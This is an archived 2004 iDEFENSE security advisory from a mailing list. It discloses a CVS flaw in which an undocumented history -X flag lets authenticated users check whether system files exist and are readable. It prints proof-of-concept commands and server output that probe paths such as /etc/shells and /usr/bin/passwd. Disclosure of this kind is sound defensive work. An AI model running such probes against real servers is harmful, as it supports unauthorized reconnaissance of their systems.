Full Disclosure mailing list archives
iDEFENSE Security Advisory 08.16.04: CVS Undocumented Flag Information Disclosure Vulnerability
From: idlabs-advisories () idefense com
Date: Mon, 16 Aug 2004 11:53:02 -0400
CVS Undocumented Flag Information Disclosure Vulnerability iDEFENSE Security Advisory 08.16.04 www.idefense.com/application/poi/display?id=130&type=vulnerabilities August 16, 2004 I. BACKGROUND CVS (Concurrent Versions System) is an open-source network-transparent version control system. II. DESCRIPTION Remote exploitation of an information disclosure vulnerability in Concurrent Versions Systems (CVS) allows attackers to glean information. The vulnerability exists within an undocumented switch to the 'history' command implemented in src/history.c. The -X command specifies the name of the history file allowing an attacker to determine whether arbitrary system files and directories exist and whether or not the CVS process has access to them. The following output from iDEFENSE's proof of concept code demonstrates the impact of this vulnerability: The file /etc/shells exists and is readable by the CVS daemon: $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /etc/shells Connected to server. E cvs server: warning: history line 1 invalid E cvs server: warning: history line 2 invalid ... E cvs server: warning: history line 7 invalid M No records selected. ok The file /usr/bin/password exists and is not readable by the CVS daemon: $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /usr/bin/passwd Connected to server. E cvs [server aborted]: cannot open history file: /usr/bin/passwd: Permission denied error The file /etc/foo does not exist. $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /etc/foo \ Connected to server. E cvs [server aborted]: cannot open history file: /etc/foo: No \ such file or directory error /tmp is a directory. $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /tmp Connected to server. E cvs [server aborted]: error reading history file: Is a directory error III. ANALYSIS Successful exploitation allows remote attackers with credentials to the affected CVS server to determine whether or not arbitrary system files and directories exist and are accessible under the permissions of the user that the CVS daemon runs under. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in CVS version 1.11. Earlier versions are suspected as being vulnerable as well. V. VENDOR RESPONSE This issue was patched in the latest (June 9th) releases of CVS, specifically 1.11.17 & 1.12.9. VI. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2004-0778 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VII. DISCLOSURE TIMELINE 07/22/2004 Initial vendor notification 07/22/2004 iDEFENSE clients notified 08/05/2004 Initial vendor response 08/16/2004 Public Disclosure VIII. CREDIT An anonymous contributor is credited with discovering this vulnerability. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp VI. LEGAL NOTICES Copyright (c) 2004 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice () idefense com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- iDEFENSE Security Advisory 08.16.04: CVS Undocumented Flag Information Disclosure Vulnerability idlabs-advisories (Aug 16)
- Re: iDEFENSE Security Advisory 08.16.04: CVS Undocumented Flag Information Disclosure Vulnerability Stefan Esser (Aug 16)
- <Possible follow-ups>
- iDEFENSE Security Advisory 08.16.04: CVS Undocumented Flag Information Disclosure Vulnerability iDefense Labs (Aug 16)